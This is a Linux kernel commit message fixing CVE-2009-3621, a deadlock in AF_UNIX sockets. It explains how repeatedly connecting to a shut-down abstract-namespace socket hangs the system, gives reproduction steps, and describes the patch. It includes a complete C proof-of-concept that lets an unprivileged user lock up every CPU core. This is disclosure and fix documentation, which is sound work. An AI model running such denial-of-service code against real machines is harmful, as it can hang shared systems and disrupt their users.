• Tomoki Sekiyama's avatar
    AF_UNIX: Fix deadlock on connecting to shutdown socket (CVE-2009-3621) · 027590f0
    Tomoki Sekiyama authored
    commit 77238f2b upstream.
    
    I found a deadlock bug in UNIX domain socket, which makes able to DoS
    attack against the local machine by non-root users.
    
    How to reproduce:
    1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
        namespace(*), and shutdown(2) it.
     2. Repeat connect(2)ing to the listening socket from the other sockets
        until the connection backlog is full-filled.
     3. connect(2) takes the CPU forever. If every core is taken, the
        system hangs.
    
    PoC code: (Run as many times as cores on SMP machines.)
    
    int main(void)
    {
    	int ret;
    	int csd;
    	int lsd;
    	struct sockaddr_un sun;
    
    	/* make an abstruct name address (*) */
    	memset(&sun, 0, sizeof(sun));
    	sun.sun_family = PF_UNIX;
    	sprintf(&sun.sun_path[1], "%d", getpid());
    
    	/* create the listening socket and shutdown */
    	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
    	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
    	listen(lsd, 1);
    	shutdown(lsd, SHUT_RDWR);
    
    	/* connect loop */
    	alarm(15); /* forcely exit the loop after 15 sec */
    	for (;;) {
    		csd = socket(AF_UNIX, SOCK_STREAM, 0);
    		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
    		if (-1 == ret) {
    			perror("connect()");
    			break;
    		}
    		puts("Connection OK");
    	}
    	return 0;
    }
    
    (*) Make sun_path[0] = 0 to use the abstruct namespace.
        If a file-based socket is used, the system doesn't deadlock because
        of context switches in the file system layer.
    
    Why this happens:
     Error checks between unix_socket_connect() and unix_wait_for_peer() are
     inconsistent. The former calls the latter to wait until the backlog is
     processed. Despite the latter returns without doing anything when the
     socket is shutdown, the former doesn't check the shutdown state and
     just retries calling the latter forever.
    
    Patch:
     The patch below adds shutdown check into unix_socket_connect(), so
     connect(2) to the shutdown socket will return -ECONREFUSED.
    Signed-off-by: default avatarTomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
    Signed-off-by: default avatarMasanori Yoshida <masanori.yoshida.tv@hitachi.com>
    Cc: Chuck Ebbert <cebbert@redhat.com>
    Signed-off-by: default avatarDavid S. Miller <davem@davemloft.net>
    027590f0
af_unix.c 52.6 KB